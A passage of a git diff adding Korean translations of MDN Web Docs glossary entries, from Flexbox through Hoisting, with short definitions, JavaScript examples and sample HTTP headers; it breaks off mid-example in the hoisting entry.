+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="더_읽어보기">더 읽어보기</h3>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
diff --git a/files/ko/glossary/flexbox/index.html b/files/ko/glossary/flexbox/index.html
new file mode 100644
index 0000000000..644393b94e
--- /dev/null
+++ b/files/ko/glossary/flexbox/index.html
@@ -0,0 +1,79 @@
+---
+title: 플렉스박스
+slug: Glossary/Flexbox
+tags:
+  - CSS
+  - Glossary
+  - Intro
+  - flexbox
+translation_of: Glossary/Flexbox
+---
+<p><strong>플렉스박스</strong>(Flexbox)는 요소를 단일 차원(행 또는 열)에 배치하는 레이아웃 모델인 <a href="https://www.w3.org/TR/css-flexbox-1/">CSS Flexible Box Layout Module</a>을 부를 때 흔히 사용하는 이름입니다.</p>
+
+<p>명세는 플렉스박스를 사용자 인터페이스 디자인을 위한 레이아웃 모델로 설명하고 있습니다. 플렉스박스의 주요 기능은 플렉스 레이아웃 내의 각 항목이 커지거나 작아질 수 있다는 점입니다. 여백은 항목에 포함할 수도 있고, 각 항목의 사이에 분배할 수도 있습니다.</p>
+
+<p>또한 플렉스박스는 항목의 {{glossary("main axis", "주축")}} 및 {{glossary("cross axis", "교차축")}} 정렬을 가능케 하여 다수의 항목에 대한 정렬 및 크기의 고수준 통제를 제공합니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="속성_참고서">속성 참고서</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="더_읽어보기">더 읽어보기</h3>
+
+<ul>
+ <li><em><a href="https://www.w3.org/TR/css-flexbox-1/">CSS Flexible Box Layout Module Level 1 Specification</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of flexbox to other layout methods</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typical use cases of flexbox</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Glossary">MDN Web Docs 용어 사전</a>
+
+  <ol>
+   <li>{{Glossary("Flex", "플렉스")}}</li>
+   <li>{{Glossary("Flex Container", "플렉스 컨테이너")}}</li>
+   <li>{{Glossary("Flex Item", "플렉스 항목")}}</li>
+   <li>{{Glossary("Grid", "그리드")}}</li>
+  </ol>
+ </li>
+ <li>관련 CSS 속성
+  <ol>
+   <li>{{cssxref("align-content")}}</li>
+   <li>{{cssxref("align-items")}}</li>
+   <li>{{cssxref("align-self")}}</li>
+   <li>{{cssxref("flex")}}</li>
+   <li>{{cssxref("flex-basis")}}</li>
+   <li>{{cssxref("flex-direction")}}</li>
+   <li>{{cssxref("flex-flow")}}</li>
+   <li>{{cssxref("flex-grow")}}</li>
+   <li>{{cssxref("flex-shrink")}}</li>
+   <li>{{cssxref("flex-wrap")}}</li>
+   <li>{{cssxref("justify-content")}}</li>
+   <li>{{cssxref("order")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/fork/index.html b/files/ko/glossary/fork/index.html
new file mode 100644
index 0000000000..8ef45cc0f8
--- /dev/null
+++ b/files/ko/glossary/fork/index.html
@@ -0,0 +1,27 @@
+---
+title: Fork
+slug: Glossary/Fork
+translation_of: Glossary/Fork
+---
+<p>포크는 프로젝트에 누군가의 자신의 수정 사항을 추가하기 위한 어떤 시점에 있는 기존 소프트웨어 프로젝트의 사본이다. 기본적으로, 만약 원본 소프트웨어의 라이센스가 허가한다면, 당신은 코드를 복사하여 자신의 추가사항을 가지고 그 코드를 개발할 수 있는데, 이것이 "포크"가 될 것이다.</p>
+
+<p>포크는 종종 무료 오픈소스 소프트웨어 개발에서 볼 수 있다. 이는 Git(또는 GitHub 플랫폼)을 사용한 기여 모델 덕분에 더 많이 사용되는 용어다.</p>
+
+
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Fork_(software_development)","Fork")}} </li>
+ <li><a href="https://help.github.com/articles/fork-a-repo/">How to fork a GitHub repo</a> (fork as in a Git context)</li>
+</ul>
+
+<h3 id="다양한_잘_알려진_포크들">다양한 "잘 알려진" 포크들</h3>
+
+<ul>
+ <li><a href="https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg">Linux distributions</a></li>
+ <li><a href="https://nodejs.org/en/blog/announcements/foundation-v4-announce/">Node.js and io.js (which have been merged together back)</a></li>
+ <li><a href="https://www.libreoffice.org/about-us/who-are-we/">LibreOffice, a fork of OpenOffice</a></li>
+</ul>
diff --git a/files/ko/glossary/ftp/index.html b/files/ko/glossary/ftp/index.html
new file mode 100644
index 0000000000..88538c38a5
--- /dev/null
+++ b/files/ko/glossary/ftp/index.html
@@ -0,0 +1,17 @@
+---
+title: FTP
+slug: Glossary/FTP
+translation_of: Glossary/FTP
+---
+<p><strong>FTP </strong>(File Transfer Protocol)는 여러 해 동안 인터넷을 통해 한 {{glossary("host", "호스트")}}에서 다른 호스트로 파일을 전송하기 위한 표준  {{glossary("protocol", "프로토콜")}}이었다. 그러나 점차적으로 여러 팀과 호스팅 계정은 FTP를 수용하지 않고 Git와 같은 버전 제어 시스템에 의존하였다. 당신은 여전히 그것이 오래된 호스팅 계정에서 사용되는 것을 발견할 것이지만, FTP는 더 이상 모범 사례로 여겨지지 않는다고 말해도 무방하다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/Upload_files_to_a_web_server">Beginner's guide to uploading files via FTP</a></li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "File Transfer Protocol", "FTP")}}
+
+ </li>
+</ul>
diff --git a/files/ko/glossary/function/index.html b/files/ko/glossary/function/index.html
new file mode 100644
index 0000000000..ca21270e79
--- /dev/null
+++ b/files/ko/glossary/function/index.html
@@ -0,0 +1,94 @@
+---
+title: 함수
+slug: Glossary/Function
+tags:
+  - 익명함수
+  - 즉시 실행 함수
+  - 함수
+translation_of: Glossary/Function
+---
+<p><strong>함수</strong>는 다른 코드에서 또는 자신에 의해 호출되거나 함수 레퍼런스를 저장한 {{Glossary("variable", "변수")}}에 의해 호출될 수 있는  코드조각이다. 함수가 호출될 때 함수의 입력으로 {{Glossary("Argument", "인수")}} 가 전달되고 함수는 선택적으로 출력값을 반환할 수 있다.  또한 {{glossary("JavaScript")}}에서 함수는 {{glossary("object", "객체")}}가 될 수도 있다.</p>
+
+<p>함수명은 함수 선언문 또는 함수 표현식의 일부로써 선언된 {{Glossary("identifier","식별자")}}이다. 함수 이름의 {{Glossary("scope","범위")}}는 함수 이름의 선언식 또는 표현식인지에 따라 결정된다.</p>
+
+<h3 id="여러_함수_형식들">여러 함수 형식들</h3>
+
+<p><strong>익명 함수</strong>는 함수명이 없는 함수이다. 함수 표현식만 익명 일 수 있으며, 함수 선언식에는 반드시 이름이 있어야한다 :</p>
+
+<pre class="brush: js">// When used as a function expression
+(function () {});
+
+// or using the ECMAScript 2015 arrow notation
+() =&gt; {};</pre>
+
+<p><strong>이름있는 함수</strong>는 함수명을 갖는 함수이다 :</p>
+
+<pre class="brush: js">// Function declaration
+function foo() {};
+
+// Named function expression
+(function bar() {});
+
+// or using the ECMAScript 2015 arrow notation
+const foo = () =&gt; {};</pre>
+
+<p><strong>안쪽 함수</strong>는 다른함수 내부에서 정의된 함수이다(아래 예에서는 square). <strong>바깥 함수</strong>는 함수를 포함하고 있는 함수이다(아래 예에서는 addSquares):</p>
+
+<pre class="brush: js">function addSquares(a,b) {
+   function square(x) {
+      return x * x;
+   }
+   return square(a) + square(b);
+};
+
+//Using ECMAScript 2015 arrow notation
+const addSquares = (a,b) =&gt; {
+   const square = x =&gt; x*x;
+   return square(a) + square(b);
+};</pre>
+
+<p><strong>재귀호출 함수</strong>는 자기 자신을 호출하는 함수이다. {{Glossary("recursion","재귀호출" )}} 참조.</p>
+
+<pre class="brush: js">function loop(x) {
+   if (x &gt;= 10)
+      return;
+   loop(x + 1);
+};
+
+//Using ECMAScript 2015 arrow notation
+const loop = x =&gt; {
+   if (x &gt;= 10)
+      return;
+   loop(x + 1);
+};</pre>
+
+<p><strong>즉시 실행 함수 표현 </strong>(IIFE)은 브라우저 컴파일러에 함수가 로드된 후 직접 호출되는 함수이다.  IIFE를 식별하는 방법은 함수 선언의 끝에 여분의 왼쪽과 오른쪽 괄호를 두는 것이다. 이런 함수표현식의 형식은 많은 장점을 갖고 있지만 여기서는 일일이 설명하지 않는다.</p>
+
+<pre class="brush: js">// Declared functions can't be called immediately this way
+// Error (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
+/*
+​function foo() {
+    console.log('Hello Foo');
+}();
+*/
+
+// Function expressions, named or anonymous, can be called immediately
+(function foo() {
+    console.log("Hello Foo");
+}());
+
+(function food() {
+    console.log("Hello Food");
+})();
+
+(() =&gt; console.log('hello world'))();</pre>
+
+<p>IIFE에 대해 더 많은 설명이 필요하다면 위키피디아의 다음 페이지를 확인 바란다: <a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">Immediately Invoked Function Expression</a></p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions" title="en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/ko/glossary/general_header/index.html b/files/ko/glossary/general_header/index.html
new file mode 100644
index 0000000000..0ad3294bd7
--- /dev/null
+++ b/files/ko/glossary/general_header/index.html
@@ -0,0 +1,11 @@
+---
+title: General 헤더
+slug: Glossary/General_header
+tags:
+  - WebMechanics
+  - 용어
+translation_of: Glossary/General_header
+---
+<p><strong>General 헤더</strong>는 요청 및 응답 메시지 모두에서 사용되지만 컨텐츠 자체에는 적용되지 않는 {{glossary('Header', 'HTTP 헤더')}}입니다. 헤더가 사용되고있는 컨텍스트에따라, general 헤더는 {{glossary("Response header", "response")}} 또는 {{glossary("request header", "request 헤더")}}입니다. 하지만, {{glossary("entity header", "entity 헤더")}}는 아닙니다.</p>
+
+<p>가장 흔한 general 헤더는 {{HTTPHeader('Date')}}, {{HTTPheader("Cache-Control")}} 및 {{HTTPHeader("Connection")}} 입니다.</p>
diff --git a/files/ko/glossary/gif/index.html b/files/ko/glossary/gif/index.html
new file mode 100644
index 0000000000..88b5432f64
--- /dev/null
+++ b/files/ko/glossary/gif/index.html
@@ -0,0 +1,20 @@
+---
+title: GIF
+slug: Glossary/gif
+translation_of: Glossary/gif
+---
+<p>GIF (Graphics Interchange Format)는 무손실 압축을 사용하며 애니메이션에 사용되는 이미지 형식이다. GIF는 픽셀 당 최대 8비트를 사용하며 최대 256가지의 색을 24비트 색 공간에서 사용한다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "GIF")}} </li>
+</ul>
+
+
+
+
+
+<h2 id="sect1"></h2>
diff --git a/files/ko/glossary/global_object/index.html b/files/ko/glossary/global_object/index.html
new file mode 100644
index 0000000000..f976e6b08d
--- /dev/null
+++ b/files/ko/glossary/global_object/index.html
@@ -0,0 +1,70 @@
+---
+title: 전역 객체
+slug: Glossary/Global_object
+tags:
+  - CodingScripting
+  - 용어
+  - 전역 객체
+translation_of: Glossary/Global_object
+---
+<p>전역 객체 {{glossary("object")}} 는 전역 범위 {{glossary("global scope")}} 에 항상 존재하는 객체를 의미합니다.</p>
+
+<p>자바스크립트에는 전역 객체로 선언된 객체들이 항상 존재합니다. 웹브라우저에서 스크립트가 전역 변수를 생성할 때, 그것들은 전역 객체의 멤버로서 생성됩니다. (이것은 {{Glossary("Node.js")}} 에서는 예외입니다.) 전역 객체의 {{Glossary("interface")}} 는 스크립트가 실행되고 있는 곳의 실행 컨텍스트에 의존합니다. 예를 들어:</p>
+
+<ul>
+ <li>웹브라우저에 있는 스크립트가 특별히 백그라운드 작업으로 시작하지 않는 코드들은 그것의 전역 객체로써 {{domxref("Window")}} 를 가집니다. 이것은 Web에 있는 자바스크립트 코드의 상당수가 그렇습니다.</li>
+ <li>{{domxref("Worker")}} 에서 실행하는 코드는 그것의 전역 객체로서 {{domxref("WorkerGlobalScope")}} 를 가집니다.</li>
+ <li>{{Glossary("Node.js")}} 환경에서 실행하는 스크립트들은 <code><a href="https://nodejs.org/api/globals.html#globals_global">global</a></code> 로 호출되는 객체를 그것들의 전역 객체로 가집니다.</li>
+</ul>
+
+<h2 id="브라우저_에서의_window_객체">브라우저 에서의 <code>window</code> 객체</h2>
+
+<p><code>window</code> 객체는 브라우저에서 전역 객체입니다. 어느 전역 객체나 함수는  <code>window</code> 객체의 프로퍼티로서 접근될 수 있습니다.</p>
+
+<h3 id="전역_변수_접근">전역 변수 접근</h3>
+
+<pre class="brush: js notranslate">var foo = "foobar";
+foo === window.foo; // Returns: true
+</pre>
+
+<p>전역 객체로 <code>foo</code> 변수를  선언한 뒤, 우리는 <code>foo</code> 변수명을 사용해 전역 객체인 <code>window</code><code>.foo</code> 의 프로퍼티로  <code>window</code> 객체에서 그것의 값에 직접 접근할 수 있습니다.,</p>
+
+<h4 id="설명">설명:</h4>
+
+<p>전역 객체 <code>foo</code> 는 <code>window</code> 객체에 아래와 같이 저장됩니다:</p>
+
+<pre class="brush: js notranslate">foo: "foobar"</pre>
+
+<h3 id="전역_함수_접근">전역 함수 접근</h3>
+
+<pre class="brush: js notranslate">function greeting() {
+   console.log("Hi!");
+}
+
+window.greeting(); // It is the same as the normal invoking: greeting();
+</pre>
+
+<p>위의 예는 <code>window</code> 객체의 프로퍼티로서 어떻게 전역 함수가 저장되는지를 보여주고 있습니다 . 우리가 <code>greeting</code> 을 전역 함수로써 호출하면 내부적으로는 <code>window</code> 객체를 사용해 호출됨을 보여주고 있습니다.</p>
+
+<h4 id="설명_2">설명:</h4>
+
+<p>전역 함수 <code>greeting</code> 은 아래와 같이 <code>window</code> 객체에 저장됩니다:</p>
+
+<pre class="brush: js notranslate">greeting: function greeting() {
+   console.log("Hi!");
+}</pre>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+
+  <ul>
+   <li>{{glossary("global scope")}}</li>
+   <li>{{glossary("object")}}</li>
+  </ul>
+ </li>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+ <li><code><a href="https://nodejs.org/api/globals.html#globals_global">global</a></code></li>
+</ul>
+</section>
diff --git a/files/ko/glossary/google_chrome/index.html b/files/ko/glossary/google_chrome/index.html
new file mode 100644
index 0000000000..0203462b15
--- /dev/null
+++ b/files/ko/glossary/google_chrome/index.html
@@ -0,0 +1,33 @@
+---
+title: Google Chrome
+slug: Glossary/Google_Chrome
+translation_of: Glossary/Google_Chrome
+---
+<p>구글 크롬(Google Chrome)은 구글이 개발한 무료 웹 {{glossary("browser","브라우저")}}이다. 이는 <a href="http://www.chromium.org/" rel="external">Chromium</a> 오픈 소스 프로젝트에 기반을 두고 있다 . 몇 가지 주요 차이점은 <a href="https://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome">Chromium wiki</a>에 설명되어 있다. 크롬은 {{glossary("Blink")}}라고 불리는 고유한 레이아웃을 지원한다. 크롬의 iOS 버전은 Blink가 아니라 해당 플랫폼의 웹뷰(WebKit)를 사용한다는 점에 유의해야 한다.</p>
+
+<h2 id="더_알아보기" style="line-height: 30px;">더 알아보기</h2>
+
+<h3 id="일반적_지식" style="line-height: 24px;">일반적 지식</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Google Chrome", "Google Chrome")}} on Wikipedia</li>
+</ul>
+
+<h3 id="크롬_사용자들을_위해" style="line-height: 24px;">크롬 사용자들을 위해</h3>
+
+<p>여러분이 일상적인 크롬 사용자라면 다음 중 하나의 링크를 이용해야 한다.</p>
+
+<ul>
+ <li><a href="https://play.google.com/store/apps/details?id=com.android.chrome">Android</a></li>
+ <li><a href="https://itunes.apple.com/us/app/chrome-web-browser-by-google/id535886823?mt=8">IOS</a></li>
+ <li><a href="http://www.google.com/chrome/">Desktop</a></li>
+</ul>
+
+<h3 id="웹_개발자들을_위해">웹 개발자들을 위해</h3>
+
+<p>최신 Chrome 기능을 시도하려면 사전 안정화된 빌드 중 하나를 설치해야 한다. 구글은 업데이트를 자주 하며, 배포된 버전이 안정된 버전과 나란히 실행되도록 설계했다. 새로운 기능에 대해 알아보려면 Chrome 릴리스 블로그를 방문해야 한다.</p>
+
+<ul>
+ <li><a href="https://play.google.com/store/apps/details?id=com.chrome.dev">Chrome Dev for Android</a></li>
+ <li><a href="https://www.google.com/chrome/browser/canary.html">Chrome Canary for desktop</a>. </li>
+</ul>
diff --git a/files/ko/glossary/gpl/index.html b/files/ko/glossary/gpl/index.html
new file mode 100644
index 0000000000..fa51e65924
--- /dev/null
+++ b/files/ko/glossary/gpl/index.html
@@ -0,0 +1,14 @@
+---
+title: GPL
+slug: Glossary/GPL
+translation_of: Glossary/GPL
+---
+<p>(GNU) GPL (General Public License)은 Free Software Foundation에서 배포하는 copyleft 무료 소프트웨어 라이선스이다. GPL 라이선스 프로그램의 사용자들은 동일한 면허에 따라 프로그램을 재분배(수정 또는 변경되지 않음)할 경우, 사용, 소스 코드 읽기, 수정 및 변경사항 재분배할 수 있는 자유가 부여된다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>GNU licenses의 <a href="http://www.gnu.org/licenses/gpl-faq.html">FAQ</a> </li>
+ <li>Wikipedia의 <a href="http://en.wikipedia.org/wiki/GNU_General_Public_License">GNU GPL</a></li>
+ <li><a href="https://gnu.org/licenses/gpl.html">GPL License</a> 문단</li>
+</ul>
diff --git a/files/ko/glossary/gpu/index.html b/files/ko/glossary/gpu/index.html
new file mode 100644
index 0000000000..96582765c9
--- /dev/null
+++ b/files/ko/glossary/gpu/index.html
@@ -0,0 +1,6 @@
+---
+title: GPU
+slug: Glossary/GPU
+translation_of: Glossary/GPU
+---
+<p>GPU(Graphics Processing Unit)는 CPU(중앙 처리 장치)와 유사한 컴퓨터 부품이다. 이것은 당신의 모니터에 그래픽(2D와 3D 모두)을 그리는 것을 전문으로 한다.</p>
diff --git a/files/ko/glossary/graceful_degradation/index.html b/files/ko/glossary/graceful_degradation/index.html
new file mode 100644
index 0000000000..31303a2431
--- /dev/null
+++ b/files/ko/glossary/graceful_degradation/index.html
@@ -0,0 +1,36 @@
+---
+title: 단계적 기능 축소
+slug: Glossary/Graceful_degradation
+tags:
+  - 단계적 기능 축소
+  - 우아한 낮춤
+translation_of: Glossary/Graceful_degradation
+---
+<p><strong>단계적 기능 축소</strong>는 최신 브라우저에서 동작하는 웹 사이트 / 응용 프로그램 구축에 주력하는 설계 철학이다. 그러나 오래된 브라우저에서는 비록 좋지 않은 경험이라 할 지라도 필수 콘텐츠와 기능을 여전히 제공한다.</p>
+
+<p>자바스크립트 {{Glossary("Polyfill","폴리필")}}을 이용하면 누락한 기능을 구현할 수 있지만 스타일과 레이아웃 같은 특징으로 대체할 수 있다면 CSS 종속 또는 HTML 폴백을 이용하는 편이 좋다. <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">일반적인 HTML과 CSS 문제 다루기</a>에서 좋은 예제를 찾을 수 있다.</p>
+
+<p>알려지지 않은 다양한 사용자 에이전트가 웹 사이트에 접근할 때 웹 개발자가 최상의 웹 사이트를 개발하도록 집중할 수 있는 유용한 기법이다. {{Glossary("Progressive enhancement", "점진적 향상")}}은 관련이 있지만 다르다. 종종 단계적 기능 축소와 반대인 것처럼 보인다. 실제로 두 접근법은 유효하고 서로를 보완할 수 있다.</p>
+
+<h2 id="더_배우기">더 배우기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Graceful degradation")}} on Wikipedia</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+
+  <ul>
+   <li>{{Glossary("Graceful degradation")}}</li>
+   <li>{{Glossary("Polyfill")}}</li>
+   <li>{{Glossary("Progressive enhancement")}}</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li>
+</ul>
+</section>
diff --git a/files/ko/glossary/head/index.html b/files/ko/glossary/head/index.html
new file mode 100644
index 0000000000..c31630b995
--- /dev/null
+++ b/files/ko/glossary/head/index.html
@@ -0,0 +1,15 @@
+---
+title: Head
+slug: Glossary/Head
+translation_of: Glossary/Head
+---
+<p><strong>Head</strong><strong> </strong>란 {{glossary("HTML")}} 문서의 일부분으로써 해당 문서의 {{glossary("metadata")}} 를 포함하는데, 예를 들면 저자, 설명, 그리고 HTML에 적용될 수 있는 {{glossary("CSS")}} 또는 {{glossary("JavaScript")}} 파일들로 연결되는 것들이 이에 해당될 수 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="HTML_head">HTML head</h3>
+
+<ul>
+ <li>MDN에서의 {{htmlelement("head")}} 요소 참조</li>
+ <li> MDN Learning Area의 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_HTML_head">The HTML &lt;head&gt;</a> 참고</li>
+</ul>
diff --git a/files/ko/glossary/header/index.html b/files/ko/glossary/header/index.html
new file mode 100644
index 0000000000..30a1051acf
--- /dev/null
+++ b/files/ko/glossary/header/index.html
@@ -0,0 +1,61 @@
+---
+title: 헤더
+slug: Glossary/Header
+tags:
+  - WebMechanics
+  - 용어
+translation_of: Glossary/HTTP_header
+---
+<p><strong>HTTP 헤더</strong>는 부가적인 정보를 전달하는 HTTP 요청 또는 응답 필드로, 메시지나 바디의 의미를 변경하거나 미리 조정합니다. 헤더는 대소문자를 구별하지 않으며, 줄의 처음에서 시작하여 바로 다음에 <code>':'</code>과 헤더에 해당하는 값이 따라옵니다. 값은 다음 CR 또는 메시지의 마지막에서 끝납니다.</p>
+
+<p>더 이상 어떠한 명세에도 포함되어 있지 않지만, 전통적으로, 헤더는 카테고리로 분류됩니다.</p>
+
+<ul>
+ <li>{{Glossary("General header")}}: 요청 및 응답 모두에 적용되지만 최종적으로 바디에 전송되는 것과는 관련이 없는 헤더입니다.</li>
+ <li>{{Glossary("Request header")}}: 페치될 리소스나 클라이언트 자체에 대한 상세 정보를 포함하는 헤더입니다.</li>
+ <li>{{Glossary("Response header")}}: 위치나 서버 자체(이름, 버전, ...)와 같은 응답에 대한 부가적인 정보를 갖는 헤더입니다.</li>
+ <li>{{Glossary("Entity header")}}: 컨텐츠 길이나 MIME 타입과 같은 엔티티의 바디에 대한 상세 정보를 포함하는 헤더입니다.</li>
+</ul>
+
+<p>하나의 헤더를 갖는 기본 요청:</p>
+
+<pre>GET /example.http HTTP/1.1
+Host: example.com
+</pre>
+
+<p>리다이렉트는 필수 헤더를 갖습니다({{HTTPHeader("Location")}}):</p>
+
+<pre>302 Found
+Location: /NewPage.html
+</pre>
+
+<p>대표적인 헤더의 집합:</p>
+
+<pre>304 Not Modified
+Access-Control-Allow-Origin: *
+Age: 2318192
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Server: Apache
+Vary: Accept-Encoding
+Via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)
+X-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==
+X-Backend-Server: developer6.webapp.scl3.mozilla.com
+X-Cache: Hit from cloudfront
+X-Cache-Info: cached
+</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>HTTP 명세의 <a href="https://tools.ietf.org/html/rfc7230#section-3.2">headers</a> 구문</li>
+</ul>
+
+<h3 id="기술적_지식">기술적 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">모든 HTTP 헤더의 목록</a></li>
+</ul>
diff --git a/files/ko/glossary/hoisting/index.html b/files/ko/glossary/hoisting/index.html
new file mode 100644
index 0000000000..dfadd7361e
--- /dev/null
+++ b/files/ko/glossary/hoisting/index.html
@@ -0,0 +1,73 @@
+---
+title: Hoisting
+slug: Glossary/Hoisting
+tags:
+  - CodingScripting
+  - Glossary
+  - JavaScript
+translation_of: Glossary/Hoisting
+---
+<p>호이스팅(hoisting)은 <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">ECMAScript® 2015 언어 명세</a> 및 그 이전 표준 명세에서 사용된 적이 없는 용어입니다. 호이스팅은 JavaScript에서 실행 콘텍스트(특히 생성 및 실행 단계)가 어떻게 동작하는가에 대한 일반적인 생각으로 여겨집니다. 하지만 호이스팅은 오해로 이어질 수 있습니다.</p>
+
+<p>예를 들어, 호이스팅을 변수 및 함수 선언이 물리적으로 작성한 코드의 상단으로 옮겨지는 것으로 가르치지만, 실제로는 그렇지 않습니다. 변수 및 함수 선언은 <u>컴파일</u> 단계에서 메모리에 저장되지만, 코드에서 입력한 위치와 정확히 일치한 곳에 있습니다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="기술_예제">기술 예제</h3>
+
+<p>JavaScript가 어떤 코드 구분을 실행하기 전에 함수 선언을 메모리에 저장하는 방식의 장점 중 하나는 코드에서 선언하기 전에 함수를 사용할 수 있다는 것입니다. 예를 들어:</p>
+
+<pre class="brush: js">function catName(name) {
+  console.log("My cat's name is " + name);
+}
+
+catName("Tigger");
+/*
+위 코드의 결과는: "My cat's name is Tigger"
+*/</pre>
+
+<p>위 코드 스니펫은 통상적으로 작동하는 코드를 작성하는 법에 관해 기술합니다. 이제, 함수를 작성하기 전에 함수를 호출하면 어떤 일이 있는지 살펴봅시다:</p>
+
+<pre class="brush: js">catName("Chloe");
+
+function catName(name) {
+  console.log("My cat's name is " + name);
+}
+/*
+위 코드의 결과는: "My cat's name is Chloe"
+*/</pre>
+
+<p>비록 함수를 작성하기 전에 함수를 호출하였지만, 코드는 여전히 동작합니다. 이는 JavaScript에서 컨텍스트 실행이 작동하는 방식 때문입니다.</p>
+
+<p>Hoisting은 다른 데이터 타입 및 변수와도 잘 작동합니다. 변수는 선언하기 전에 초기화하여 사용될 수 있습니다. 그러나 초기화 없이는 사용할 수 없습니다.</p>
+
+<h3 id="기술_예제_2">기술 예제</h3>
+
+<pre class="brush: js">num = 6;
+num + 7;
+var num;
+/* num이 선언되지 않더라도 에러를 내지 않습니다 */
+
+</pre>
+
+<p>JavaScript는 초기화가 아닌 선언만 끌어올립니다(hoist). 만약 변수를 선언한 뒤 나중에 초기화시켜 사용한다면, 그 값은 undefined로 지정됩니다. 아래 두 예제는 같은 동작을 보여줍니다.</p>
+
+<pre class="brush: js">var x = 1; // x 초기화
+console.log(x + " " + y); // '1 undefined'
+var y = 2;
+
+
+// 아래 코드는 이전 코드와 같은 방식으로 동작합니다.
+var x = 1; // Initialize x
+var y; // Declare y
